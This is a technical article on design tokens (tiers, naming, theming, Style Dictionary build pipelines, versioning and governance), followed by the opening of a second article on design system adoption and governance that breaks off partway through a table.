Design tokens encode design decisions as platform-agnostic data, enabling consistent UI across web, iOS, and Android from a single source of truth. This article covers the token taxonomy, semantic layering for theming, multi-platform transformation pipelines, and governance strategies that make enterprise design systems maintainable at scale.

<figure>

![Design token pipeline: tokens defined once, transformed per platform.](./design-token-pipeline-tokens-defined-once-transformed-per-platform.svg)

<figcaption>Design token pipeline: tokens defined once, transformed per platform.</figcaption>
</figure>

## Abstract

Design tokens are named entities storing visual design attributes—colors, spacing, typography—that serve as the atomic building blocks of a design system. The core mental model:

- **Primitives** answer "what values exist?" (raw palette: `blue-500: #2563eb`)
- **Semantic tokens** answer "what does this value mean?" (purpose: `color-action-primary`)
- **Component tokens** answer "where is this used?" (specificity: `button-background`)

Theming works by swapping semantic layers while primitives remain constant. A dark theme redefines `color-background` from `{gray-50}` to `{gray-900}`—components referencing the semantic token adapt automatically.

The W3C Design Tokens Community Group (DTCG) specification (v2025.10) standardizes the JSON format with `$value`, `$type`, and `$description` properties. Tools like Style Dictionary transform this source into platform-specific outputs (CSS custom properties, Swift UIColor, Android XML resources).

## Token Taxonomy

The three-tier token hierarchy emerged from Salesforce's Lightning Design System work (2014-2015), where Jina Anne and Jon Levine needed to scale design decisions across platforms and partner implementations.

### Primitive Tokens (Reference/Global)

Primitives define the raw design palette with no semantic meaning attached. They answer "what options exist?" and form the foundation that semantic tokens reference.

```json title="primitives.tokens.json"
{
  "color": {
    "blue": {
      "100": { "$value": "#dbeafe", "$type": "color" },
      "500": { "$value": "#3b82f6", "$type": "color" },
      "900": { "$value": "#1e3a8a", "$type": "color" }
    },
    "gray": {
      "50": { "$value": "#f9fafb", "$type": "color" },
      "900": { "$value": "#111827", "$type": "color" }
    }
  },
  "spacing": {
    "100": { "$value": "4px", "$type": "dimension" },
    "200": { "$value": "8px", "$type": "dimension" },
    "400": { "$value": "16px", "$type": "dimension" }
  }
}
```

**Naming convention**: Primitives use appearance-based names (`blue-500`, `gray-50`) because they carry no semantic intent. The value itself is the identity.

**Scale design**: Avoid sequential integers (`shadow-1`, `shadow-2`) which leave no room for insertion. Use:

- **Numeric scales**: 100, 200, 400, 800 (doubling allows interpolation)
- **T-shirt sizes**: xs, sm, md, lg, xl, 2xl
- **Named variants**: subtle, default, strong

### Semantic Tokens (Alias/Purpose)

Semantic tokens assign meaning to primitives. They answer "how should this value be used?" and create the indirection layer that enables theming.

```json title="semantic.tokens.json"
{
  "color": {
    "background": {
      "default": { "$value": "{color.gray.50}", "$type": "color" },
      "surface": { "$value": "#ffffff", "$type": "color" },
      "inverse": { "$value": "{color.gray.900}", "$type": "color" }
    },
    "text": {
      "primary": { "$value": "{color.gray.900}", "$type": "color" },
      "secondary": { "$value": "{color.gray.600}", "$type": "color" },
      "inverse": { "$value": "#ffffff", "$type": "color" }
    },
    "action": {
      "primary": { "$value": "{color.blue.500}", "$type": "color" },
      "primary-hover": { "$value": "{color.blue.600}", "$type": "color" }
    }
  }
}
```

The curly brace syntax `{color.gray.50}` creates an alias—the DTCG spec's reference mechanism. When the primitive changes, all semantic tokens referencing it update automatically.

**Naming convention**: Semantic tokens use purpose-based names. The pattern `{category}.{concept}.{variant}` yields names like `color.action.primary` or `spacing.layout.gutter`. This decouples the "what" (blue) from the "why" (primary action).

### Component Tokens (Specific/Application)

Component tokens map semantic values to specific UI component parts. They answer "where exactly is this used?"

```json title="component.tokens.json"
{
  "button": {
    "primary": {
      "background": { "$value": "{color.action.primary}", "$type": "color" },
      "background-hover": { "$value": "{color.action.primary-hover}", "$type": "color" },
      "text": { "$value": "{color.text.inverse}", "$type": "color" },
      "border-radius": { "$value": "{spacing.100}", "$type": "dimension" },
      "padding-x": { "$value": "{spacing.400}", "$type": "dimension" },
      "padding-y": { "$value": "{spacing.200}", "$type": "dimension" }
    }
  }
}
```

**When to use component tokens**: They add significant maintenance overhead. Only introduce this tier when you need:

- **Multi-brand theming**: Different brands require different component appearances beyond color swaps
- **Granular component customization**: Consumers need to override specific component parts
- **White-labeling**: Partners skin components while core semantics stay constant

Most design systems operate well with just primitives and semantic tokens. Component tokens multiply the token count significantly—a system with 200 semantic tokens might balloon to 2000+ with component tokens.

### Tier Trade-offs

| Approach              | Token Count       | Flexibility | Maintenance | Use Case                           |
| --------------------- | ----------------- | ----------- | ----------- | ---------------------------------- |
| Primitives only       | Low (~50-100)     | Limited     | Minimal     | Simple apps, prototypes            |
| Primitives + Semantic | Medium (~200-500) | Good        | Moderate    | Most production systems            |
| All three tiers       | High (~1000+)     | Maximum     | Significant | Multi-brand, white-label platforms |

## Naming Conventions

The Category-Type-Item (CTI) pattern from Style Dictionary provides hierarchical, predictable token names that transform cleanly across platforms.

### Full Naming Structure

| Level         | Purpose             | Examples                                |
| ------------- | ------------------- | --------------------------------------- |
| **Namespace** | System identifier   | `acme-`, `spectrum-`                    |
| **Category**  | Output type         | `color`, `spacing`, `font`, `shadow`    |
| **Concept**   | Semantic grouping   | `background`, `action`, `feedback`      |
| **Property**  | CSS property target | `text`, `border`, `fill`                |
| **Variant**   | Scale position      | `primary`, `secondary`, `100`, `lg`     |
| **State**     | Interaction state   | `default`, `hover`, `disabled`, `focus` |

A fully qualified token: `acme-color-action-background-primary-hover`

### Practical Naming Rules

**For primitives**: Use appearance descriptors.

- `blue-500`, `gray-100` ✓
- `primary-blue`, `link-color` ✗ (semantic meaning doesn't belong in primitives)

**For semantic tokens**: Use purpose descriptors.

- `color-text-primary`, `color-action-danger` ✓
- `color-blue`, `dark-gray` ✗ (appearance doesn't belong in semantics)

**Forbidden characters**: The DTCG spec prohibits `{`, `}`, and `.` in token names—these are reserved for the reference syntax. Use hyphens or underscores as delimiters.

**Case conventions by platform**:

| Platform     | Convention | Example                |
| ------------ | ---------- | ---------------------- |
| CSS          | kebab-case | `--color-text-primary` |
| JavaScript   | camelCase  | `colorTextPrimary`     |
| Swift/Kotlin | camelCase  | `colorTextPrimary`     |
| Android XML  | snake_case | `color_text_primary`   |

Style Dictionary handles these transformations automatically via name transforms.

## Theming Architecture

Theming swaps semantic token values while keeping primitives constant. The semantic layer acts as a "switchboard" between raw values and component consumption.

### Theme Structure

```json title="themes/light.tokens.json"
{
  "color": {
    "background": {
      "default": { "$value": "{color.gray.50}" },
      "surface": { "$value": "#ffffff" },
      "elevated": { "$value": "#ffffff" }
    },
    "text": {
      "primary": { "$value": "{color.gray.900}" },
      "secondary": { "$value": "{color.gray.600}" }
    }
  }
}
```

```json title="themes/dark.tokens.json"
{
  "color": {
    "background": {
      "default": { "$value": "{color.gray.900}" },
      "surface": { "$value": "{color.gray.800}" },
      "elevated": { "$value": "{color.gray.700}" }
    },
    "text": {
      "primary": { "$value": "#ffffff" },
      "secondary": { "$value": "{color.gray.300}" }
    }
  }
}
```

### CSS Implementation

Theme switching via CSS custom properties and a data attribute:

```css title="tokens.css"
:root {
  /* Primitives - constant */
  --color-blue-500: #3b82f6;
  --color-gray-50: #f9fafb;
  --color-gray-900: #111827;
}

/* Light theme (default) */
:root,
[data-theme="light"] {
  --color-background-default: var(--color-gray-50);
  --color-text-primary: var(--color-gray-900);
}

/* Dark theme */
[data-theme="dark"] {
  --color-background-default: var(--color-gray-900);
  --color-text-primary: #ffffff;
}
```

```js title="theme-switcher.js" collapse={1-2}
// Theme toggle implementation
function setTheme(theme) {
  document.documentElement.setAttribute("data-theme", theme)
  localStorage.setItem("theme", theme)
}
```

### Multi-Dimensional Theming

Production systems often need multiple orthogonal theme dimensions:

| Dimension  | Values                        | Mechanism                 |
| ---------- | ----------------------------- | ------------------------- |
| Color mode | light, dark, high-contrast    | Semantic color layer swap |
| Brand      | primary, partner-a, partner-b | Primitive palette swap    |
| Density    | comfortable, compact          | Spacing token scale swap  |
| Platform   | desktop, mobile               | Component token overrides |

These dimensions compose. A "dark + partner-a + compact" theme combines three orthogonal token sets. The implementation typically uses multiple data attributes or CSS class composition:

```css
[data-mode="dark"][data-brand="partner-a"][data-density="compact"] {
  /* Composed token values */
}
```

### Dark Mode Pitfalls

Dark mode isn't color inversion. Common mistakes:

**Saturated colors fail contrast**: A vibrant `#3b82f6` blue meets WCAG 4.5:1 contrast on white but fails on dark backgrounds. Dark themes require desaturated color variants.

**Elevation reverses direction**: In light mode, elevation increases brightness (shadows lift elements). In dark mode, elevation increases brightness too—not darkness. Material Design 3 uses "surface tint" overlays that lighten elevated surfaces.

**Don't invert the entire palette**: Simply swapping `gray-100` ↔ `gray-900` breaks visual hierarchy. Dark themes need deliberate surface level definitions.

### Contrast Validation

The USWDS (U.S. Web Design System) "magic number" approach: token values include a contrast grade (0-100). Any pair with a difference of 40+ passes WCAG AA for large text, 50+ for normal text.

```json
{
  "gray": {
    "5": { "$value": "#f0f0f0", "contrast-grade": 5 },
    "90": { "$value": "#1b1b1b", "contrast-grade": 90 }
  }
}
```

`90 - 5 = 85` → Passes AAA (70+ required).

## Distribution Pipeline

Style Dictionary (originally from Amazon) is the industry standard for token transformation. It parses source tokens, applies transforms, and outputs platform-specific formats.

### Pipeline Architecture

![Diagram](./diagram-1.svg)

### Style Dictionary Configuration

```js title="style-dictionary.config.mjs" collapse={1-3, 35-50}
// Configuration for multi-platform token build
import StyleDictionary from "style-dictionary"

export default {
  source: ["tokens/**/*.json"],
  platforms: {
    css: {
      transformGroup: "css",
      buildPath: "dist/css/",
      files: [
        {
          destination: "tokens.css",
          format: "css/variables",
          options: {
            outputReferences: true, // Preserve aliases in output
          },
        },
      ],
    },
    scss: {
      transformGroup: "scss",
      buildPath: "dist/scss/",
      files: [
        {
          destination: "_tokens.scss",
          format: "scss/variables",
        },
      ],
    },
    ios: {
      transformGroup: "ios-swift",
      buildPath: "dist/ios/",
      files: [
        {
          destination: "Tokens.swift",
          format: "ios-swift/class.swift",
          className: "DesignTokens",
        },
      ],
    },
    // Android configuration
    android: {
      transformGroup: "android",
      buildPath: "dist/android/",
      files: [
        {
          destination: "tokens.xml",
          format: "android/resources",
        },
      ],
    },
  },
}
```

### Transform Types

| Transform Type | Purpose                        | Example                                       |
| -------------- | ------------------------------ | --------------------------------------------- |
| **name**       | Convert token name format      | `color.text.primary` → `--color-text-primary` |
| **value**      | Convert value representation   | `16` → `1rem`, `#ff0000` → `UIColor.red`      |
| **attribute**  | Add metadata based on CTI path | Add `category: 'color'` based on token path   |

### Platform-Specific Value Transformations

The same token requires different representations per platform:

| Token                   | Web CSS   | Android            | iOS                                              |
| ----------------------- | --------- | ------------------ | ------------------------------------------------ |
| `spacing.md: 16`        | `1rem`    | `16dp`             | `16.0` (CGFloat)                                 |
| `color.brand: #2563eb`  | `#2563eb` | `#FF2563EB` (ARGB) | `UIColor(red:0.15,green:0.39,blue:0.92,alpha:1)` |
| `font.weight.bold: 700` | `700`     | `Typeface.BOLD`    | `.bold`                                          |

Style Dictionary v4 (current) supports transitive transforms—resolving reference chains iteratively. A component token referencing a semantic token referencing a primitive resolves correctly through the chain.

### CI/CD Integration

```yaml title=".github/workflows/tokens.yml" collapse={1-5, 25-35}
# GitHub Actions workflow for token builds
name: Build Tokens
on:
  push:
    paths: ["tokens/**"]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - uses: actions/setup-node@v4
        with:
          node-version: "20"

      - run: npm ci

      - run: npm run build:tokens

      - name: Publish to npm
        run: npm publish
        env:
          NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}

      # Upload artifacts for other platforms
      - uses: actions/upload-artifact@v4
        with:
          name: ios-tokens
          path: dist/ios/

      - uses: actions/upload-artifact@v4
        with:
          name: android-tokens
          path: dist/android/
```

### Tokens Studio Integration

Tokens Studio (Figma plugin) enables designers to define tokens in Figma and sync to Git. The workflow:

1. Designer creates/updates tokens in Figma using Tokens Studio plugin
2. Plugin pushes changes to GitHub/GitLab (JSON format)
3. CI triggers Style Dictionary build
4. Platform outputs published to package registries
5. Consuming apps update dependency version

Tokens Studio supports 24+ token types—more than native Figma Variables (which only support color, number, boolean, string). As of v1.37, Tokens Studio can sync plugin tokens with native Figma Variables for broader tool compatibility.

## Version Management

Design tokens follow semantic versioning with domain-specific considerations for breaking changes.

### Semantic Versioning for Tokens

| Version Bump      | Trigger                                 | Example                                                                    |
| ----------------- | --------------------------------------- | -------------------------------------------------------------------------- |
| **Major (X.0.0)** | Token removed, renamed, or type changed | Removing `color-accent`, renaming `color-primary` → `color-action-primary` |
| **Minor (0.X.0)** | New tokens added                        | Adding `color-accent-subtle`                                               |
| **Patch (0.0.X)** | Value adjustments                       | Changing `blue-500` from `#3b82f6` to `#2563eb`                            |

### Deprecation Strategy

The DTCG spec includes a `$deprecated` property for staged removal:

```json title="deprecated-token.json"
{
  "color-accent": {
    "$value": "{color.action.primary}",
    "$type": "color",
    "$deprecated": "Use color.action.primary instead. Removal in v3.0.0."
  }
}
```

**Deprecation workflow**:

1. **Mark deprecated**: Add `$deprecated` with migration guidance
2. **Emit warnings**: Build tooling warns on deprecated token usage
3. **Maintain alias**: Point deprecated token to replacement value
4. **Stage removal**: Give consumers 1-2 minor versions to migrate
5. **Remove**: Major version bump with changelog documentation

### Migration Tooling

For large codebases, automated migration via codemods:

```js title="codemod-rename-token.js" collapse={1-5}
// Example jscodeshift codemod for token renames
// Run: npx jscodeshift -t codemod-rename-token.js src/

const tokenRenames = {
  "color-accent": "color-action-primary",
  "color-accent-hover": "color-action-primary-hover",
}

export default function transformer(file, api) {
  const j = api.jscodeshift

  return j(file.source)
    .find(j.Literal)
    .filter((path) => tokenRenames[path.value])
    .forEach((path) => {
      path.replace(j.literal(tokenRenames[path.value]))
    })
    .toSource()
}
```

### Changelog Requirements

Token changelogs should include:

- **Added**: New tokens with intended use case
- **Changed**: Value modifications with before/after
- **Deprecated**: Tokens marked for removal with migration path
- **Removed**: Tokens deleted (major version only)

```markdown
## [2.0.0] - 2025-01-15

### Removed

- `color-accent` - Use `color.action.primary`

### Changed

- `color.blue.500` - #3b82f6 → #2563eb (improved contrast)

## [1.5.0] - 2024-12-01

### Deprecated

- `color-accent` - Will be removed in v2.0. Use `color.action.primary`

### Added

- `color.action.primary-subtle` - Low-emphasis action color
```

## Governance

Effective token governance requires clear ownership, change processes, and quality gates.

### Ownership Model

| Role                   | Responsibility                                          |
| ---------------------- | ------------------------------------------------------- |
| **Design System Team** | Token schema, naming conventions, build pipeline        |
| **Platform Leads**     | Platform-specific transforms, integration patterns      |
| **Design Lead**        | Visual decisions, brand alignment, accessibility review |
| **Consumers**          | Adoption, feedback, bug reports                         |

### Change Process

1. **Proposal**: RFC describing token addition/change with rationale
2. **Design Review**: Visual validation against brand guidelines
3. **Accessibility Review**: Contrast ratios, color blindness simulation
4. **Technical Review**: Naming convention compliance, platform impact
5. **Approval**: Sign-off from design system team
6. **Implementation**: Token file changes with tests
7. **Release**: Version bump, changelog, communication

### Quality Gates (CI)

```yaml title=".github/workflows/token-validation.yml" collapse={1-8}
# Validation checks for token PRs
name: Token Validation
on:
  pull_request:
    paths: ["tokens/**"]

jobs:
  validate:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      - name: Validate JSON Schema
        run: npx ajv validate -s schema/dtcg.json -d "tokens/**/*.json"

      - name: Check Naming Conventions
        run: npm run lint:tokens

      - name: Validate Contrast Ratios
        run: npm run test:contrast

      - name: Build All Platforms
        run: npm run build:tokens

      - name: Check for Breaking Changes
        run: npm run check:breaking
```

### Linting Rules

Enforce conventions programmatically:

- **Naming**: Token names match CTI pattern
- **Values**: Colors in valid hex/rgb format, dimensions include units
- **References**: All aliases resolve to existing tokens
- **Completeness**: Semantic tokens have light and dark variants
- **Documentation**: Required tokens have `$description`

## Real-World Design System Examples

### Salesforce Lightning Design System

The pioneer of design tokens (2014). SLDS evolved from version 1 (design tokens as build-time values) to SLDS 2 with "styling hooks"—CSS custom properties exposed at runtime for component customization.

Styling hooks pattern:

```css
/* Consumer overrides at component level */
.my-context .slds-button {
  --slds-c-button-brand-color-background: var(--my-brand-color);
}
```

### Adobe Spectrum

Spectrum publishes tokens in `@adobe/spectrum-tokens` (v12+). Their Token Visualizer tool provides searchable token documentation. Spectrum uses DTCG-compatible format with Tokens Studio data export.

Token structure follows:

- **Global tokens**: Platform-wide values (`spectrum-global-color-blue-500`)
- **Alias tokens**: Semantic mappings (`spectrum-alias-background-color-default`)
- **Component tokens**: Per-component CSS custom properties

### IBM Carbon

Carbon defines 52 universal color variables per theme (White, Gray 10, Gray 90, Gray 100). Token categories:

- Color: `$interactive-01`, `$ui-background`, `$text-primary`
- Typography: `$productive-heading-01`, `$body-long-01`
- Spacing: `$spacing-01` through `$spacing-13`
- Motion: `$duration-fast-01`, `$easing-standard-productive`

### Google Material Design 3

Material 3 introduced dynamic color—algorithmic palette generation from a source color. Token types:

- **Color**: Primary, secondary, tertiary, neutral palettes
- **Typography**: Type scale tokens (`display-large`, `body-medium`)
- **Shape**: Corner radius tokens per component size

Material's token structure uses tonal palettes (0-100 lightness scale) enabling precise contrast calculation.

## Conclusion

Design tokens succeed when they encode design intent, not just design values. The three-tier hierarchy (primitive → semantic → component) creates the right abstraction layers: primitives for the design palette, semantic tokens for meaning and theming, component tokens for granular customization when needed.

The DTCG specification (v2025.10) provides the standardized JSON format the industry lacked. Style Dictionary transforms this source into platform-specific outputs. The governance model—clear ownership, change processes, automated validation—prevents the drift that undermines design system value.

Start with primitives and semantic tokens. Add component tokens only when multi-brand or white-label requirements demand them. Version tokens like code: semantic versioning, deprecation staging, automated migration. The goal is a single source of truth that scales across platforms without manual synchronization.

## Appendix

### Prerequisites

- CSS custom properties (variables) syntax and cascade
- Build tool basics (npm scripts, CI pipelines)
- JSON/JSON5 file formats

### Terminology

| Term                     | Definition                                                                        |
| ------------------------ | --------------------------------------------------------------------------------- |
| **DTCG**                 | Design Tokens Community Group—W3C community group authoring the specification     |
| **CTI**                  | Category-Type-Item—naming convention hierarchy from Style Dictionary              |
| **Primitive token**      | Raw design value with no semantic meaning (e.g., `blue-500: #3b82f6`)             |
| **Semantic token**       | Alias token with contextual meaning (e.g., `color-action-primary`)                |
| **Component token**      | Token scoped to specific component part (e.g., `button-background-color`)         |
| **Transitive transform** | Style Dictionary feature resolving reference chains through multiple alias levels |

### Summary

- Design tokens are named entities storing design attributes as platform-agnostic data
- Three-tier hierarchy: primitives (values) → semantic (meaning) → component (specificity)
- DTCG specification (v2025.10) standardizes JSON format with `$value`, `$type`, `$description`
- Theming works by swapping semantic token layers; primitives stay constant
- Style Dictionary transforms source tokens into platform-specific outputs (CSS, Swift, Android)
- Version tokens with SemVer; deprecate before removing; provide migration codemods

### References

**Specifications**

- [DTCG Design Tokens Specification](https://www.designtokens.org/tr/drafts/format/) - W3C Community Group specification (v2025.10)
- [Design Tokens Community Group](https://www.designtokens.org/) - Official DTCG site

**Tools Documentation**

- [Style Dictionary](https://styledictionary.com/) - Token transformation pipeline documentation
- [Tokens Studio](https://docs.tokens.studio/) - Figma plugin for token management
- [Terrazzo](https://terrazzo.app/docs/) - DTCG-native transformation tool
- [Theo](https://github.com/salesforce-ux/theo) - Salesforce's original token generator

**Design Systems**

- [Adobe Spectrum Design Tokens](https://spectrum.adobe.com/page/design-tokens/) - Spectrum token documentation
- [IBM Carbon Themes](https://v10.carbondesignsystem.com/guidelines/themes/overview/) - Carbon theme architecture
- [Material Design 3 Tokens](https://m3.material.io/foundations/design-tokens) - Google's token structure
- [Salesforce SLDS Styling Hooks](https://developer.salesforce.com/docs/platform/lwc/guide/create-components-css-custom-properties.html) - SLDS CSS custom properties

**Core Maintainer Content**

- [Jina Anne on Design Tokens](https://www.smashingmagazine.com/2019/11/smashing-podcast-episode-3/) - Smashing Podcast with the design tokens pioneer
- [Nathan Curtis - Naming Tokens in Design Systems](https://medium.com/eightshapes-llc/naming-tokens-in-design-systems-9e86c7444676) - Comprehensive naming conventions guide
- [Nathan Curtis - Tokens in Design Systems](https://medium.com/eightshapes-llc/tokens-in-design-systems-25dd82d58421) - 10 tips for token architecture
- [Brad Frost - Design Tokens + Atomic Design](https://bradfrost.com/blog/post/design-tokens-atomic-design/) - Integration with atomic design methodology

---

## Design System Adoption: Foundations and Governance

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/frontend-engineering/design-systems/design-system-adoption-foundations
**Category:** Frontend Engineering / Design Systems
**Description:** A comprehensive framework for building and scaling design systems from initial conception through enterprise-wide adoption—covering ROI analysis, executive buy-in, team structures, governance models, technical implementation, migration strategies, adoption tooling, and continuous improvement. This guide addresses the organizational, technical, and cultural challenges across the entire design system lifecycle, from proving the business case through measuring long-term impact.

# Design System Adoption: Foundations and Governance

A comprehensive framework for building and scaling design systems from initial conception through enterprise-wide adoption—covering ROI analysis, executive buy-in, team structures, governance models, technical implementation, migration strategies, adoption tooling, and continuous improvement. This guide addresses the organizational, technical, and cultural challenges across the entire design system lifecycle, from proving the business case through measuring long-term impact.

<figure>

![The six-phase framework for design system programs, from proving the business case through technical enablement and enterprise-wide scaling](./the-six-phase-framework-for-design-system-programs-from-proving-the-business-cas.svg)

<figcaption>The six-phase framework for design system programs, from proving the business case through technical enablement and enterprise-wide scaling</figcaption>

</figure>

## Abstract

Design system success is fundamentally a governance problem, not a technical one. The technical implementation—tokens, components, tooling—is well understood. The challenge is organizational: securing sustained investment, choosing governance that scales with your organization's culture, and creating adoption incentives that outweigh migration friction.

<figure>

![The governance model must match organizational scale—start centralized, evolve toward federated as adoption grows](./the-governance-model-must-match-organizational-scale-start-centralized-evolve-to.svg)

<figcaption>The governance model must match organizational scale—start centralized, evolve toward federated as adoption grows</figcaption>

</figure>

**The mental model**: A design system is a product serving internal customers. Like any product, it requires a business case, a team, a roadmap, and continuous feedback. The difference: your customers are colleagues who can bypass your product if it creates more friction than it removes. Success means making the design system the path of least resistance for building UI.

## Phase 1: Foundation and Strategic Alignment

### 1.1 Defining the Problem Space

Before proposing a design system, you must understand the specific pain points your organization faces. This requires answering fundamental questions: What UI consistency challenges exist today? Which teams and products stand to benefit most? What is the current state of design and development workflows? How much technical debt has accumulated in your UI components?

**Metrics to Establish Baseline**

Quantifying the problem creates the foundation for your business case. The **UI Inconsistency Index** audits existing products to measure visual variations—this becomes your before-and-after benchmark. Track the **Component Duplication Count** to understand how many similar components have been built across teams, revealing redundant effort. Measure **Development Velocity** as the ratio of time spent on UI-related tasks versus feature development. Finally, catalog **Design Debt** by counting variations for common elements like buttons, forms, and navigation patterns.

**Timing the Audit**

Conduct this audit only after securing executive support for the initiative—without leadership buy-in, findings often stall in committee. Present results within 2-3 weeks to maintain organizational momentum; longer timelines allow priorities to shift and stakeholders to disengage. Use the data directly in your business case rather than treating the audit as a separate deliverable.

**What Typical Audit Findings Look Like**

A mid-sized organization might discover 15 different button styles across 8 products, 23 form implementations with varying validation patterns, over 40 hours per month spent on UI consistency fixes, and 3 different color palettes in active use. These numbers translate directly into development cost and brand inconsistency—both compelling arguments for executive stakeholders.

### 1.2 Building the Business Case

The business case must answer four essential questions: How does the design system align with business objectives? What is the expected ROI over a 3-5 year horizon? Which stakeholders require convincing? What resources will the initial implementation require?

**Quantifying the Value**

Your business case rests on four measurable outcomes. **Development Time Savings** projects the hours saved per team per month once components are reusable—this is typically the largest and most defensible number. **Quality Improvements** estimates the reduction in UI-related bugs, drawing from your current bug tracking data for credibility. **Onboarding Acceleration** measures time saved for new team members who no longer need to learn multiple component implementations. **Maintenance Cost Reduction** captures ongoing savings from centralized component management, including reduced coordination overhead across teams.

**ROI Calculation Framework:**

$$
\text{ROI} = \frac{\text{TS} + \text{QV} - \text{MC}}{\text{MC}} \times 100
$$

**Variable Definitions:**

- **TS** = Annual Time & Cost Savings
- **QV** = Quality Improvements Value
- **MC** = Design System Maintenance Cost

**Business Context:**

- **TS**: Total annual savings from reduced development time and costs
- **QV**: Value of improved quality, reduced bugs, and better user experience
- **MC**: Ongoing costs to maintain and evolve the design system

**Industry Benchmarks (2024-2025 Data):**

Research from the Knapsack ROI Report (2025) and Zeroheight Design Systems Report indicates typical efficiency gains:

| Team Type         | Efficiency Gain Range | Average | Source                 |
| ----------------- | --------------------- | ------- | ---------------------- |
| Design Teams      | 31-50%                | ~38%    | Knapsack ROI Report    |
| Development Teams | 20-47%                | ~31%    | Knapsack ROI Report    |
| Combined (Mature) | 50-75%                | ~60%    | Zeroheight 2025 Survey |

Notable case studies: Salesforce Lightning achieved 60% productivity increase with 70% CSS reduction; IBM Carbon reported 75% design cost reduction and 66% development cost reduction. These represent mature systems with 3+ years of investment.

**ROI Timeline Expectations:**

- **Year 1**: Often negative or low ROI (normal ramp-up period with front-loaded investment)
- **Year 2-3**: ROI compounds as adoption grows and maintenance costs stabilize
- **Year 3+**: Mature systems typically achieve 100-200%+ ROI

**ROI Calculation Process:**

<figure>

![The iterative ROI calculation process, from audit through stakeholder presentation](./the-iterative-roi-calculation-process-from-audit-through-stakeholder-presentatio.svg)

<figcaption>The iterative ROI calculation process, from audit through stakeholder presentation</figcaption>

</figure>

**Taking Action**

Present the ROI analysis to both finance and engineering leadership together when possible—this prevents misaligned expectations between technical and financial stakeholders. Secure an initial funding commitment before proceeding with any technical work. Establish a quarterly review cadence for ROI validation from day one; this creates accountability and demonstrates the initiative's ongoing value.

### 1.3 Securing Executive Sponsorship

Executive sponsorship determines whether a design system becomes a strategic asset or an abandoned initiative. You must identify the key decision-makers in your organization and understand what motivates each stakeholder—the CTO typically cares about technical excellence and developer productivity, the CFO about cost reduction and ROI, and the Head of Product about speed to market and brand consistency. Determine the level of sponsorship required: some initiatives need active championship, while others require only policy support and budget allocation.

**Measuring Sponsorship Effectiveness**

Track four indicators to assess sponsorship health. **Sponsorship Level** measures executive time allocated to design system initiatives—a sponsor who never attends reviews provides weak support. **Budget Allocation** as a percentage of engineering budget dedicated to the design system signals organizational commitment. **Leadership Participation** through attendance at design system review meetings indicates ongoing engagement. **Policy Support** counts the number of design system requirements embedded in team processes and guidelines.

**Timing Executive Engagement**

Secure sponsorship before any technical work begins—building without executive backing leads to abandoned initiatives when priorities shift. Maintain monthly executive updates during implementation to sustain engagement and surface blockers early. Escalate issues that require leadership intervention within 24 hours; delays erode sponsor confidence and allow problems to compound.

## Phase 2: Team Structure and Governance

### 2.1 Building the Core Team

The team structure decision shapes how your design system will evolve and who controls its direction. You must determine which roles are essential, how to balance centralized control with distributed contribution, which governance model fits your organization's culture, and how to handle the inevitable conflicts between consistency and flexibility.

**Team Composition by Model**

The **Centralized Model** establishes a dedicated team that owns all design system decisions. This typically includes 1 Product Owner (full-time), 1-2 Designers (full-time), 1-2 Developers (full-time), and 1 QA Engineer (part-time). This model works well when you need strong consistency and have the budget for dedicated headcount.

The **Federated Model** distributes ownership across product teams while maintaining coordination. A small Core Team of 2-3 people provides guidance and standards, while Design System Champions embedded in each product team drive local adoption. Success requires well-documented contribution guidelines and robust review processes.

The **Hybrid Model** splits responsibilities between a core team that owns foundational elements (tokens, primitives, base components) and product teams that contribute specialized components for their domains. Clear boundaries between core and product-specific components prevent ownership conflicts.

> **Real-World Example: Vista's SWAN Design System**
>
> [SWAN](https://vista.design/swan/), Vista's enterprise design system, employs a hybrid model with a dedicated core team (developers, team lead, designers) that owns the design system itself, combined with a champion model for frontend-heavy teams such as upper-funnel discovery pages and platform teams. Champions receive early access to new features and training, enabling them to drive adoption within their domains while contributing feedback that shapes the system's evolution.

**Team Structure Visualization:**

<figure>

![Centralized Model: A dedicated team with clear hierarchy owns all design system decisions and components](./centralized-model-a-dedicated-team-with-clear-hierarchy-owns-all-design-system-d.svg)

<figcaption>Centralized Model: A dedicated team with clear hierarchy owns all design system decisions and components</figcaption>

</figure>

<figure>

![Federated Model: A small core team coordinates champions embedded in each product team](./federated-model-a-small-core-team-coordinates-champions-embedded-in-each-product.svg)

<figcaption>Federated Model: A small core team coordinates champions embedded in each product team</figcaption>

</figure>

<figure>

![Hybrid Model: Core team owns foundations while product teams contribute specialized components, both adhering to shared standards](./hybrid-model-core-team-owns-foundations-while-product-teams-contribute-specializ.svg)

<figcaption>Hybrid Model: Core team owns foundations while product teams contribute specialized components, both adhering to shared standards</figcaption>

</figure>

**Model Trade-offs:**

| Model           | Best For                                                    | Pitfalls                                                                                                                       |
| --------------- | ----------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| **Centralized** | Consistency, quality control, clear ownership               | Can become a bottleneck; "dictatorship" dynamic where control is quickly lost; slow response to team needs                     |
| **Federated**   | Realistic component usage, team investment, scalability     | Requires strong governance processes; needs dedicated coordinating staff; not suitable for small teams or early-stage startups |
| **Hybrid**      | Balance of consistency and flexibility; large organizations | Requires clear boundaries; can create confusion about ownership; needs explicit contribution guidelines                        |

**Tracking Team Effectiveness**

Measure **Team Velocity** through components delivered per sprint, but balance this against quality—shipping fast but buggy components destroys trust. **Response Time** to address team requests indicates whether the design system team is enabling or blocking product teams. Track **Quality Metrics** through the bug rate in design system components; this number should trend down over time as the team matures. **Team Satisfaction** measured via Net Promoter Score from internal users reveals whether the design system is perceived as helpful or burdensome.

**Scaling the Team**

Start with a minimal viable team of 1 designer plus 1 developer. This constraint forces focus on the highest-value components and prevents over-engineering. Expand the team based on adoption success and workload—let demand pull resources rather than pushing capacity ahead of need. Reassess the team structure every 6 months; what works for 3 consuming teams may fail at 15.

### 2.2 Establishing Governance

Governance determines how decisions get made at scale. Without clear governance, design systems either become bottlenecks (when everything requires central approval) or fragment (when teams diverge without coordination). You must define how design decisions will be made, establish the contribution process for new components, determine how breaking changes are handled, and specify what quality standards components must meet.

**Governance Framework**

Different decision types require different governance approaches:

| Decision Type        | Governance Approach                                     |
| -------------------- | ------------------------------------------------------- |
| **Core Components**  | Central team approval required                          |
| **Product-Specific** | Team autonomy with design review                        |
| **Breaking Changes** | RFC process with stakeholder input                      |
